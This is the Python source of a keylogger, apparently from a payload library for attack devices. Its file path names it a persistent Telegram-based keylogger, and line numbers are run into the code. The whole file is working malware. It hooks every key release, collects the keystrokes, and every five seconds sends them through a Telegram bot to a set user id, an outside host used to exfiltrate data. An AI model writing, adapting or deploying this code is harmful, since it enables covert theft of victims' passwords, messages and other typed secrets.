Path: blob/master/payloads/library/execution/Persistent_Keylogger-Telegram_Based/connection.py
3018 views
from telebot import TeleBot1from time import sleep2import keyboard3from threading import Thread,RLock,Condition45# Set here the Telegram bot token6BOT_TOKEN = ""7bot = TeleBot(BOT_TOKEN)89class Log:10def __init__(self):11self.log = ""12self.lock = RLock()13self.condition = Condition(self.lock)14# Set here the Telegram user id15self.id = "0123456789"1617def add_to_log(self, log):18with self.lock:19#print("Adding to log...")20self.log += log21self.condition.notify_all()2223def send_log(self):24with self.lock:25#print("Sending to bot...")26while self.log == "":27#print("Waiting resources...")28self.condition.wait()29#print("Sending message!")30bot.send_message(self.id, self.log)31self.log = ""3233class Keylogger(Thread):3435def __init__(self, log):36super().__init__()37self.log = log3839def callback(self, event):40name = event.name41if len(name) > 1:42if name == "space":43name = "[SPACE]"44elif name == "enter":45name = "[ENTER]\n"46elif name == "decimal":47name = "."48else:49name = name.replace(" ", "_")50name = f"[{name.upper()}]"51#print(f"Keylogger add to log: {name}")52self.log.add_to_log(name)5354def run(self):55keyboard.on_release(callback=self.callback)5657class Sender(Thread):5859def __init__(self, log):60super().__init__()61self.log = log6263def run(self):64while True:65sleep(5)66#print("Sender send log")67self.log.send_log()686970log = Log()7172keylogger = Keylogger(log)73keylogger.start()7475sender = Sender(log)76sender.start()7778bot.infinity_polling()798081